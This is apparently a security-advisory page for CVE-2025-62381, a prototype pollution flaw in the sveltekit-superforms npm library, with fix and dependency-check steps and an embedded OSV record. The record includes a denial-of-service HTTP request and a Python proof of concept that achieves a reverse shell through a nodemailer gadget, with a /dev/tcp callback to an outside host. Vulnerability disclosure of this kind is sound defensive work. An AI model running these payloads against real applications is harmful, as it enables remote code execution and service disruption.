CVE-2025-62381: Sveltekit superforms `sveltekit-superforms` Has Prototype Pollution Vulnerability
HIGHCVE-2025-62381 is a HIGH `sveltekit-superforms` has prototype pollution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Sveltekit superforms libraries in the npm ecosystem. The issue involves `sveltekit-superforms` has prototype pollution in `parseformdata` function of `formdata.js`. Remediation is available by upgrading affected packages to version 2.27.4.
CVE-2025-62381 at a Glance
How to Fix CVE-2025-62381
To remediate this vulnerability, upgrade all affected Sveltekit superforms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install sveltekit-superforms@2.27.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls sveltekit-superforms
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-62381, inspect your project dependencies using npm:
npm ls sveltekit-superforms
Analyze the terminal output to locate any version of Sveltekit superforms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.27.4), your application is affected.
Note: The npm ls sveltekit-superforms command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Sveltekit superforms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-62381 Affected Sveltekit superforms Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
sveltekit-superforms
|
npm |
< 2.27.4
|
2.27.4
|
References
Frequently Asked Questions
What is CVE-2025-62381?
Which Sveltekit superforms versions are affected?
What version fixes CVE-2025-62381?
Is sveltekit-superforms affected?
What CWE is associated with CVE-2025-62381?
How can I check npm dependencies for CVE-2025-62381?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hwmc-4c8j-xxj7",
"modified" : "2025-10-15T19:43:09Z",
"published" : "2025-10-15T19:43:09Z",
"aliases" : [ "CVE-2025-62381" ],
"summary" : "`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`",
"details" : "### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has('__superform_json')) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions && options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll('__superform_json').join('') ?? '', transport);\n\t\tif (typeof output === 'object') {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record<string, unknown>;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]&__superform_files___proto__.toString='corrupted'\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n email: z\n .email({\n error: \"Please enter a valid email address.\",\n })\n .min(1, {\n error: \"Email address is required.\",\n }),\n password: z.string().min(8, {\n error: \"Password must be at least 8 characters long.\",\n }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n MAIL_USER,\n MAIL_CLIENT_ID,\n MAIL_CLIENT_SECRET,\n MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n default: async ({ request }) => {\n const form = await superValidate(request, zod4(schema));\n\n if (!form.valid) {\n return fail(400, { form });\n }\n\n // <insert other signup code here: DB ops, logging etc..>\n\n nodemailer\n .createTransport({\n service: \"gmail\",\n auth: {\n type: \"OAuth2\",\n user: MAIL_USER,\n clientId: MAIL_CLIENT_ID,\n clientSecret: MAIL_CLIENT_SECRET,\n refreshToken: MAIL_REFRESH_TOKEN,\n },\n })\n .sendMail({\n to: form.data.email,\n subject: \"Welcome to $app!\",\n html: \"<p> Welcome to $app. We hope you enjoy your stay.</p>\",\n text: \"Welcome to $app. We hope you enjoy your stay.\",\n });\n },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n f\"{RHOST}/signup\",\n data={\n \"__superform_json\": \"[{}]\",\n \"__superform_file___proto__.sendmail\": \"1\",\n \"__superform_file___proto__.path\": \"/bin/bash\",\n \"__superform_files___proto__.args\": [\n \"-c\",\n \"bash -i >& /dev/tcp/dread.mantel.group/443 0>&1\",\n \"--\",\n ],\n },\n headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n f\"{RHOST}/signup\",\n data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n headers={\"Origin\": RHOST},\n)\n```\n<img width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" />\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "sveltekit-superforms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.27.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.27.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62381"
}, {
"type" : "WEB",
"url" : "https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ciscoheat/sveltekit-superforms"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-10-15T19:43:09Z",
"nvd_published_at" : "2025-10-15T18:15:40Z"
}
}